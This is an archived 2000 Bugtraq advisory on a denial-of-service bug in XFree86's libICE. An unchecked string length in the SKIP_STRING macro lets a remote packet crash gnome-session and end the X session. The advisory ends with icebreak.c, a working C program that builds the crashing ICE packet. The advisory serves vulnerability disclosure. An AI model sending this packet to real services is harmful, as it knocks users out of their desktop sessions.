[LWN Logo]
[Timeline]
Date:         Mon, 19 Jun 2000 23:51:18 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Subject:      XFree86: libICE DoS
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

I've been sitting on this one for a while.

SUMMARY
=======

Due to inadequate bounds checking in libICE, a denial of service exists
with any application using inet listening libICE for network services.

Unfortunately, there is a fairly prominent user of libICE, namely
gnome-session. The misfortune deepens when we realize that when
gnome-session gets a SIGSEGV, the entire X session tends to exit (after
the user clicks OK in the crash dialog).

The GNOME team have released GNOME-1.2 which ensures that no libICE
services are exposed via TCP listening sockets. All the libICE
communication in GNOME-1.2 is done over user-private UNIX domain sockets.

DISCUSSION
==========

libICE is, in general, pretty careful with untrusted network
data. However, there is a macro, SKIP_STRING, which is used to jump over a
string in the input stream. SKIP_STRING will read an unsigned short
variable from the network, and then jump forward in the input buffer by
that amount. A value of "65535", USHORT_MAX, is adequate to leave a
pointer dangling into oblivion and cause SEGV due to read of unmapped
memory.

COMMENTS
========

1) There was always likely to be a bug in libICE; the protocol suffers
from the classic flaw of having a lot of chit-chat before any
authentication is attempted.

2) I have in no way performed a thorough audit of the code. This was the
first issue I encountered, then I stopped looking. I'd suggest anyone
using libICE in a situation where security matters, should be wary. There
is potential for worse than DoS.

3) I investiagted and discovered this because of GNOME. I was pretty
unimpressed to discoverer a desktop aimed at the classic
"end-user" listening on TCP sockets in the default configuration. libICE
is one half of the story, libORBit the other half.


DEMO
====

Disclaimer - I haven't bothered to prettify this packet builder. I don't
check return codes, and if your byteorder != Intel x86, it might not
work. If it works at all.

Demo is appended

Cheers
Chris

/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int
main(int argc, const char* argv[])
{
  unsigned char c;
  unsigned int i;
  unsigned short s;
  char blankbuf[1000];

  memset(blankbuf, '\0', sizeof(blankbuf));

  /* Assume fd 1 is stdout */

  /* ICE connection header */
  /* First, pick an endian-ness */
  /* Byte 1: Major opcode. Must be 0 */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
  c = 1;
  write(1, &c, 1);
  /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
  c = 0;
  write(1, &c, 1);
  /* Byte 4: Unused. Write 0 */
  c = 0;
  write(1, &c, 1);
  /* Bytes 5-8: integer length. Must be zero for byte-order message. */
  i = 0;
  write(1, &i, 4);

  /* Next message - ICE_ConnectionSetup */
  /* Byte 1: Major opcode. 0 for core ICE protocol message */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
  c = 2;
  write(1, &c, 1);
  /* Bytes 3, 4: versionCount & authCount */
  c = 255;
  write(1, &c, 1);
  write(1, &c, 1);
  /* Bytes 5-8, int length. Must be at least 8 */
  i = 8;
  write(1, &i, 4);
  /* Now, bytes are part of iceConnectionSetupMsg */
  /* This is an extra 8 bytes */
  /* Byte 1: "must authenticate" */
  c = 0;
  write(1, &c, 1);
  /* Bytes 2-8: unused */
  write(1, blankbuf, 7);

  /* Now we're writing into the malloc'ed message data space */
  /* First, a string. Give it's 16bit length a big value to get ICE code
   * to iterate off the end of the buffer
   */
  s = 65535;
  write(1, &s, 2);

  /* And some blank to get the (total) 56 char data read finished */
  write(1, blankbuf, 54);
}